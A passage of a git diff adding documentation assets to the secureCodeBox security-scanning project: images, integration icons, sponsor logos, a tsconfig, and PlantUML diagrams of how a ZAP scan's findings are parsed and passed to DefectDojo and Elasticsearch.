zap_parser <> + S3 <-right-> zap_parser : read raw/store parsed + + engine .up.> zap_parser : 2. parse + + [ReadWriteHook] as rw_hooks <> + S3 <-down-> rw_hooks : modify finding + engine .down.> rw_hooks : 3. r/w hooks + + [ReadHook] as r_hooks <> + S3 -down-> r_hooks : read finding + engine .down.> r_hooks : 4. r hooks +} + + +r_hooks -down-> elastic +r_hooks -down-> dojo + +@enduml diff --git a/documentation/static/img/blog/2021-07-20-orange-reflective-architecture.jpg b/documentation/static/img/blog/2021-07-20-orange-reflective-architecture.jpg new file mode 100644 index 0000000000..efdd811878 Binary files /dev/null and b/documentation/static/img/blog/2021-07-20-orange-reflective-architecture.jpg differ diff --git a/documentation/static/img/blog/2021-08-09-windows.jpg b/documentation/static/img/blog/2021-08-09-windows.jpg new file mode 100644 index 0000000000..b81f1e8090 Binary files /dev/null and b/documentation/static/img/blog/2021-08-09-windows.jpg differ diff --git a/documentation/static/img/blog/2021-09-07-notes.jpg b/documentation/static/img/blog/2021-09-07-notes.jpg new file mode 100644 index 0000000000..d55799b0f6 Binary files /dev/null and b/documentation/static/img/blog/2021-09-07-notes.jpg differ diff --git a/documentation/static/img/blog/2021-10-27-magnifyingglass.jpg b/documentation/static/img/blog/2021-10-27-magnifyingglass.jpg new file mode 100644 index 0000000000..b5a8aeefd6 Binary files /dev/null and b/documentation/static/img/blog/2021-10-27-magnifyingglass.jpg differ diff --git a/documentation/static/img/blog/2022-02-24-burninglog.jpg b/documentation/static/img/blog/2022-02-24-burninglog.jpg new file mode 100644 index 0000000000..5e1ae17071 Binary files /dev/null and b/documentation/static/img/blog/2022-02-24-burninglog.jpg differ diff --git a/documentation/static/img/blog/2022-08-08-authSettings.png b/documentation/static/img/blog/2022-08-08-authSettings.png new file mode 100644 index 0000000000..ca9aa203dc Binary files /dev/null and b/documentation/static/img/blog/2022-08-08-authSettings.png differ diff --git a/documentation/static/img/blog/2022-08-08-forcedUser.png b/documentation/static/img/blog/2022-08-08-forcedUser.png new file mode 100644 index 0000000000..9556907c6f Binary files /dev/null and b/documentation/static/img/blog/2022-08-08-forcedUser.png differ diff --git a/documentation/static/img/blog/2022-08-08-scopeDefinition.png b/documentation/static/img/blog/2022-08-08-scopeDefinition.png new file mode 100644 index 0000000000..63e67fab89 Binary files /dev/null and b/documentation/static/img/blog/2022-08-08-scopeDefinition.png differ diff --git a/documentation/static/img/blog/2022-08-08-scriptCreation.png b/documentation/static/img/blog/2022-08-08-scriptCreation.png new file mode 100644 index 0000000000..384aa07def Binary files /dev/null and b/documentation/static/img/blog/2022-08-08-scriptCreation.png differ diff --git a/documentation/static/img/blog/2022-08-08-scriptingConsole.png b/documentation/static/img/blog/2022-08-08-scriptingConsole.png new file mode 100644 index 0000000000..02f90c2c10 Binary files /dev/null and b/documentation/static/img/blog/2022-08-08-scriptingConsole.png differ diff --git a/documentation/static/img/blog/2022-08-08-scriptingTab.png b/documentation/static/img/blog/2022-08-08-scriptingTab.png new file mode 100644 index 0000000000..918f6f1c92 Binary files /dev/null and b/documentation/static/img/blog/2022-08-08-scriptingTab.png differ diff --git a/documentation/static/img/blog/2022-08-08-users.png b/documentation/static/img/blog/2022-08-08-users.png new file mode 100644 index 0000000000..0cae8690c9 Binary files /dev/null and b/documentation/static/img/blog/2022-08-08-users.png differ diff --git a/documentation/static/img/blog/2022-08-26-authYaml.PNG b/documentation/static/img/blog/2022-08-26-authYaml.PNG new file mode 100755 index 0000000000..ec63140040 Binary files /dev/null and b/documentation/static/img/blog/2022-08-26-authYaml.PNG differ diff --git a/documentation/static/img/blog/2022-08-26-automationInstall.PNG b/documentation/static/img/blog/2022-08-26-automationInstall.PNG new file mode 100755 index 0000000000..bdc6daf566 Binary files /dev/null and b/documentation/static/img/blog/2022-08-26-automationInstall.PNG differ diff --git a/documentation/static/img/blog/2022-08-26-automationTab.PNG b/documentation/static/img/blog/2022-08-26-automationTab.PNG new file mode 100755 index 0000000000..c675b56428 Binary files /dev/null and b/documentation/static/img/blog/2022-08-26-automationTab.PNG differ diff --git a/documentation/static/img/blog/2023-09-01-robot.jpg b/documentation/static/img/blog/2023-09-01-robot.jpg new file mode 100644 index 0000000000..fc4003513f Binary files /dev/null and b/documentation/static/img/blog/2023-09-01-robot.jpg differ diff --git a/documentation/static/img/blog/2023-09-01-waterfall.jpg b/documentation/static/img/blog/2023-09-01-waterfall.jpg new file mode 100644 index 0000000000..f0ed7657ab Binary files /dev/null and b/documentation/static/img/blog/2023-09-01-waterfall.jpg differ diff --git a/documentation/static/img/docs/architecture/building-blocks-whitebox-level-1.png b/documentation/static/img/docs/architecture/building-blocks-whitebox-level-1.png new file mode 100644 index 0000000000..78f252d779 Binary files /dev/null and b/documentation/static/img/docs/architecture/building-blocks-whitebox-level-1.png differ diff --git a/documentation/static/img/docs/architecture/context-boundary-diagram.png b/documentation/static/img/docs/architecture/context-boundary-diagram.png new file mode 100644 index 0000000000..8b7ca601bc Binary files /dev/null and b/documentation/static/img/docs/architecture/context-boundary-diagram.png differ diff --git a/documentation/static/img/docs/architecture/deployment-cluster-internal-central-scans.png b/documentation/static/img/docs/architecture/deployment-cluster-internal-central-scans.png new file mode 100644 index 0000000000..f63fa2d07d Binary files /dev/null and b/documentation/static/img/docs/architecture/deployment-cluster-internal-central-scans.png differ diff --git a/documentation/static/img/docs/architecture/deployment-cluster-namespace-internal.png b/documentation/static/img/docs/architecture/deployment-cluster-namespace-internal.png new file mode 100644 index 0000000000..d21569afed Binary files /dev/null and b/documentation/static/img/docs/architecture/deployment-cluster-namespace-internal.png differ diff --git a/documentation/static/img/docs/architecture/runtime-basic-scan-via-kubectl.png b/documentation/static/img/docs/architecture/runtime-basic-scan-via-kubectl.png new file mode 100644 index 0000000000..681d902208 Binary files /dev/null and b/documentation/static/img/docs/architecture/runtime-basic-scan-via-kubectl.png differ diff --git a/documentation/static/img/docs/architecture/runtime-basic-scan-via-kubectl.puml b/documentation/static/img/docs/architecture/runtime-basic-scan-via-kubectl.puml new file mode 100644 index 0000000000..85c4b79399 --- /dev/null +++ b/documentation/static/img/docs/architecture/runtime-basic-scan-via-kubectl.puml @@ -0,0 +1,75 @@ +' SPDX-FileCopyrightText: the secureCodeBox authors +' +' SPDX-License-Identifier: Apache-2.0 + +@startuml runtime-basic-scan-via-kubectl +!include ../../../../src/puml/_theme.ipuml +!include ../../../../src/puml/_copyright.ipuml + +actor Developer #White +participant Engine <> +participant Scanner <> +participant ZAP <> +participant Lurker <> +participant Parser <> +collections ReadWriteHook <> +collections ReadHook <> +participant Storage <> #White +participant DefectDojo #White +participant Elastic #White + +Developer -> Engine : initiate scan (kubectl) + +activate Engine +activate Storage +activate Elastic +activate DefectDojo + +Engine -> Scanner : schedule +activate Scanner + +Scanner -> ZAP : start container +activate ZAP + +Scanner -> Lurker : start container +activate Lurker +Lurker -> Storage : persist raw findings +Scanner <-- ZAP +deactivate ZAP +destroy ZAP + +Scanner <-- Lurker +deactivate Lurker +destroy Lurker + +Engine <-- Scanner +deactivate Scanner +destroy Scanner + +Engine -> Parser +activate Parser +Parser -> Storage : read raw findings +Parser -> Storage : store well-defined findings +Engine <-- Parser +deactivate Parser +destroy Parser + +activate ReadWriteHook +Engine -> ReadWriteHook +ReadWriteHook -> Storage : read well-defined finding +ReadWriteHook -> DefectDojo : import finding +Engine <-- ReadWriteHook +deactivate ReadWriteHook +destroy ReadWriteHook + +activate ReadHook +Engine -> ReadHook +ReadHook -> Storage : read well-defined finding +ReadHook -> Elastic : persist +Engine <-- ReadHook +deactivate ReadHook +destroy ReadHook + +deactivate Engine + +@enduml diff --git a/documentation/static/img/docs/architecture/technical-context-diagram.png b/documentation/static/img/docs/architecture/technical-context-diagram.png new file mode 100644 index 0000000000..61f196f5e4 Binary files /dev/null and b/documentation/static/img/docs/architecture/technical-context-diagram.png differ diff --git a/documentation/static/img/docs/architecture/use-case-diagram.png b/documentation/static/img/docs/architecture/use-case-diagram.png new file mode 100644 index 0000000000..2e7cd53ae1 Binary files /dev/null and b/documentation/static/img/docs/architecture/use-case-diagram.png differ diff --git a/documentation/static/img/docs/backports/simple_example_with_one_release_branch.png b/documentation/static/img/docs/backports/simple_example_with_one_release_branch.png new file mode 100644 index 0000000000..d1e09782bb Binary files /dev/null and b/documentation/static/img/docs/backports/simple_example_with_one_release_branch.png differ diff --git a/documentation/static/img/docs/how-tos/dd-deduplicate.png b/documentation/static/img/docs/how-tos/dd-deduplicate.png new file mode 100644 index 0000000000..56d5a69017 Binary files /dev/null and b/documentation/static/img/docs/how-tos/dd-deduplicate.png differ diff --git a/documentation/static/img/docs/testing/scb-testing.png b/documentation/static/img/docs/testing/scb-testing.png new file mode 100644 index 0000000000..629060057a Binary files /dev/null and b/documentation/static/img/docs/testing/scb-testing.png differ diff --git a/documentation/static/img/features/monitoring.svg b/documentation/static/img/features/monitoring.svg new file mode 100644 index 0000000000..dbc4b30cbd --- /dev/null +++ b/documentation/static/img/features/monitoring.svg @@ -0,0 +1,2 @@ + + diff --git a/documentation/static/img/features/scanning.svg b/documentation/static/img/features/scanning.svg new file mode 100644 index 0000000000..9168bb1f52 --- /dev/null +++ b/documentation/static/img/features/scanning.svg @@ -0,0 +1,2 @@ + + diff --git a/documentation/static/img/features/sdlc.svg b/documentation/static/img/features/sdlc.svg new file mode 100644 index 0000000000..370831541e --- /dev/null +++ b/documentation/static/img/features/sdlc.svg @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/documentation/static/img/features/testing.svg b/documentation/static/img/features/testing.svg new file mode 100644 index 0000000000..860d00e4a5 --- /dev/null +++ b/documentation/static/img/features/testing.svg @@ -0,0 +1,2 @@ + + diff --git a/documentation/static/img/integrationIcons/Acstis.svg b/documentation/static/img/integrationIcons/Acstis.svg new file mode 100644 index 0000000000..95405a6c71 --- /dev/null +++ b/documentation/static/img/integrationIcons/Acstis.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/Amass.svg b/documentation/static/img/integrationIcons/Amass.svg new file mode 100644 index 0000000000..4971d72a7d --- /dev/null +++ b/documentation/static/img/integrationIcons/Amass.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/AzureMonitor.svg b/documentation/static/img/integrationIcons/AzureMonitor.svg new file mode 100644 index 0000000000..6d3eac8d90 --- /dev/null +++ b/documentation/static/img/integrationIcons/AzureMonitor.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/Cascading Scans.svg b/documentation/static/img/integrationIcons/Cascading Scans.svg new file mode 100644 index 0000000000..340eb8c994 --- /dev/null +++ b/documentation/static/img/integrationIcons/Cascading Scans.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/Cascading Scans2.svg b/documentation/static/img/integrationIcons/Cascading Scans2.svg new file mode 100644 index 0000000000..241314b02b --- /dev/null +++ b/documentation/static/img/integrationIcons/Cascading Scans2.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/Default.svg b/documentation/static/img/integrationIcons/Default.svg new file mode 100644 index 0000000000..95405a6c71 --- /dev/null +++ b/documentation/static/img/integrationIcons/Default.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/DefectDojo.svg b/documentation/static/img/integrationIcons/DefectDojo.svg new file mode 100644 index 0000000000..89d4f968b5 --- /dev/null +++ b/documentation/static/img/integrationIcons/DefectDojo.svg @@ -0,0 +1,91 @@ + + + + + + + + + + image/svg+xml + + + + + + + + + + + + + diff --git a/documentation/static/img/integrationIcons/Doggo.svg b/documentation/static/img/integrationIcons/Doggo.svg new file mode 100644 index 0000000000..b57549c37e --- /dev/null +++ b/documentation/static/img/integrationIcons/Doggo.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/Elasticsearch.svg b/documentation/static/img/integrationIcons/Elasticsearch.svg new file mode 100644 index 0000000000..776cacc41f --- /dev/null +++ b/documentation/static/img/integrationIcons/Elasticsearch.svg @@ -0,0 +1,141 @@ + + + + + + image/svg+xml + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/documentation/static/img/integrationIcons/Generic WebHook.svg b/documentation/static/img/integrationIcons/Generic WebHook.svg new file mode 100644 index 0000000000..5c5399413b --- /dev/null +++ b/documentation/static/img/integrationIcons/Generic WebHook.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/GitRepoScanner.svg b/documentation/static/img/integrationIcons/GitRepoScanner.svg new file mode 100644 index 0000000000..836e53f841 --- /dev/null +++ b/documentation/static/img/integrationIcons/GitRepoScanner.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/Gitleaks.svg b/documentation/static/img/integrationIcons/Gitleaks.svg new file mode 100644 index 0000000000..836e53f841 --- /dev/null +++ b/documentation/static/img/integrationIcons/Gitleaks.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/MS Teams WebHook.svg b/documentation/static/img/integrationIcons/MS Teams WebHook.svg new file mode 100644 index 0000000000..0896a6d31b --- /dev/null +++ b/documentation/static/img/integrationIcons/MS Teams WebHook.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/Ncrack.svg b/documentation/static/img/integrationIcons/Ncrack.svg new file mode 100644 index 0000000000..83fa9a2566 --- /dev/null +++ b/documentation/static/img/integrationIcons/Ncrack.svg @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/Nikto.svg b/documentation/static/img/integrationIcons/Nikto.svg new file mode 100644 index 0000000000..444c681fe0 --- /dev/null +++ b/documentation/static/img/integrationIcons/Nikto.svg @@ -0,0 +1,39 @@ + + + + +Created by potrace 1.15, written by Peter Selinger 2001-2017 + + + + + + + diff --git a/documentation/static/img/integrationIcons/Nmap.svg b/documentation/static/img/integrationIcons/Nmap.svg new file mode 100644 index 0000000000..e4b66ed92d --- /dev/null +++ b/documentation/static/img/integrationIcons/Nmap.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/SSH.svg b/documentation/static/img/integrationIcons/SSH.svg new file mode 100644 index 0000000000..cbef509496 --- /dev/null +++ b/documentation/static/img/integrationIcons/SSH.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/SSLyze.svg b/documentation/static/img/integrationIcons/SSLyze.svg new file mode 100644 index 0000000000..86a39d67a6 --- /dev/null +++ b/documentation/static/img/integrationIcons/SSLyze.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/Screenshooter.svg b/documentation/static/img/integrationIcons/Screenshooter.svg new file mode 100644 index 0000000000..d0f45adb9c --- /dev/null +++ b/documentation/static/img/integrationIcons/Screenshooter.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/Slack WebHook.svg b/documentation/static/img/integrationIcons/Slack WebHook.svg new file mode 100644 index 0000000000..9dca85ba46 --- /dev/null +++ b/documentation/static/img/integrationIcons/Slack WebHook.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/Trivy.svg b/documentation/static/img/integrationIcons/Trivy.svg new file mode 100644 index 0000000000..b981802e74 --- /dev/null +++ b/documentation/static/img/integrationIcons/Trivy.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/Update Field.svg b/documentation/static/img/integrationIcons/Update Field.svg new file mode 100644 index 0000000000..b167b09d9a --- /dev/null +++ b/documentation/static/img/integrationIcons/Update Field.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/WPScan.svg b/documentation/static/img/integrationIcons/WPScan.svg new file mode 100644 index 0000000000..7a64b9312d --- /dev/null +++ b/documentation/static/img/integrationIcons/WPScan.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/Whatweb.svg b/documentation/static/img/integrationIcons/Whatweb.svg new file mode 100644 index 0000000000..e4b66ed92d --- /dev/null +++ b/documentation/static/img/integrationIcons/Whatweb.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/ZAP Advanced.svg b/documentation/static/img/integrationIcons/ZAP Advanced.svg new file mode 100644 index 0000000000..84d1079d97 --- /dev/null +++ b/documentation/static/img/integrationIcons/ZAP Advanced.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/ZAP.svg b/documentation/static/img/integrationIcons/ZAP.svg new file mode 100644 index 0000000000..84d1079d97 --- /dev/null +++ b/documentation/static/img/integrationIcons/ZAP.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/ffuf.svg b/documentation/static/img/integrationIcons/ffuf.svg new file mode 100644 index 0000000000..bd7867da2f --- /dev/null +++ b/documentation/static/img/integrationIcons/ffuf.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/kube-hunter.svg b/documentation/static/img/integrationIcons/kube-hunter.svg new file mode 100644 index 0000000000..02c2d77d2e --- /dev/null +++ b/documentation/static/img/integrationIcons/kube-hunter.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/kubeaudit.svg b/documentation/static/img/integrationIcons/kubeaudit.svg new file mode 100644 index 0000000000..7513856c17 --- /dev/null +++ b/documentation/static/img/integrationIcons/kubeaudit.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/documentation/static/img/integrationIcons/nuclei.svg b/documentation/static/img/integrationIcons/nuclei.svg new file mode 100644 index 0000000000..7612b7c51b --- /dev/null +++ b/documentation/static/img/integrationIcons/nuclei.svg @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/documentation/static/img/integrationIcons/semgrep.svg b/documentation/static/img/integrationIcons/semgrep.svg new file mode 100644 index 0000000000..ca4a2466ad --- /dev/null +++ b/documentation/static/img/integrationIcons/semgrep.svg @@ -0,0 +1,41 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/documentation/static/img/roles/jh_small.jpg b/documentation/static/img/roles/jh_small.jpg new file mode 100644 index 0000000000..3c2a261424 Binary files /dev/null and b/documentation/static/img/roles/jh_small.jpg differ diff --git a/documentation/static/img/roles/rfe_hoch.jpg b/documentation/static/img/roles/rfe_hoch.jpg new file mode 100644 index 0000000000..c12bab7f0b Binary files /dev/null and b/documentation/static/img/roles/rfe_hoch.jpg differ diff --git a/documentation/static/img/roles/rfe_hoch_cropped.jpg b/documentation/static/img/roles/rfe_hoch_cropped.jpg new file mode 100644 index 0000000000..c096b460d9 Binary files /dev/null and b/documentation/static/img/roles/rfe_hoch_cropped.jpg differ diff --git a/documentation/static/img/roles/sst_hoodie_hoch.jpg b/documentation/static/img/roles/sst_hoodie_hoch.jpg new file mode 100644 index 0000000000..729ccf8485 Binary files /dev/null and b/documentation/static/img/roles/sst_hoodie_hoch.jpg differ diff --git a/documentation/static/img/roles/sst_hoodie_hoch_cropped.jpg b/documentation/static/img/roles/sst_hoodie_hoch_cropped.jpg new file mode 100644 index 0000000000..c0e35a9755 Binary files /dev/null and b/documentation/static/img/roles/sst_hoodie_hoch_cropped.jpg differ diff --git a/documentation/static/img/sponsors/Logo_sda-se.png b/documentation/static/img/sponsors/Logo_sda-se.png new file mode 100644 index 0000000000..a569deda6d Binary files /dev/null and b/documentation/static/img/sponsors/Logo_sda-se.png differ diff --git a/documentation/static/img/sponsors/Logo_secura.svg b/documentation/static/img/sponsors/Logo_secura.svg new file mode 100644 index 0000000000..723dd4c513 --- /dev/null +++ b/documentation/static/img/sponsors/Logo_secura.svg @@ -0,0 +1,37 @@ + + + logo-secura + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/documentation/static/img/sponsors/Logo_signal-iduna.svg b/documentation/static/img/sponsors/Logo_signal-iduna.svg new file mode 100644 index 0000000000..2c806d771d --- /dev/null +++ b/documentation/static/img/sponsors/Logo_signal-iduna.svg @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/documentation/static/img/sponsors/Logo_timo-pagel-it-consulting.png b/documentation/static/img/sponsors/Logo_timo-pagel-it-consulting.png new file mode 100644 index 0000000000..91108e65a5 Binary files /dev/null and b/documentation/static/img/sponsors/Logo_timo-pagel-it-consulting.png differ diff --git a/documentation/tsconfig.json b/documentation/tsconfig.json new file mode 100644 index 0000000000..05dddd5f11 --- /dev/null +++ b/documentation/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "@tsconfig/docusaurus/tsconfig.json", + "include": ["src/"] + } \ No newline at end of file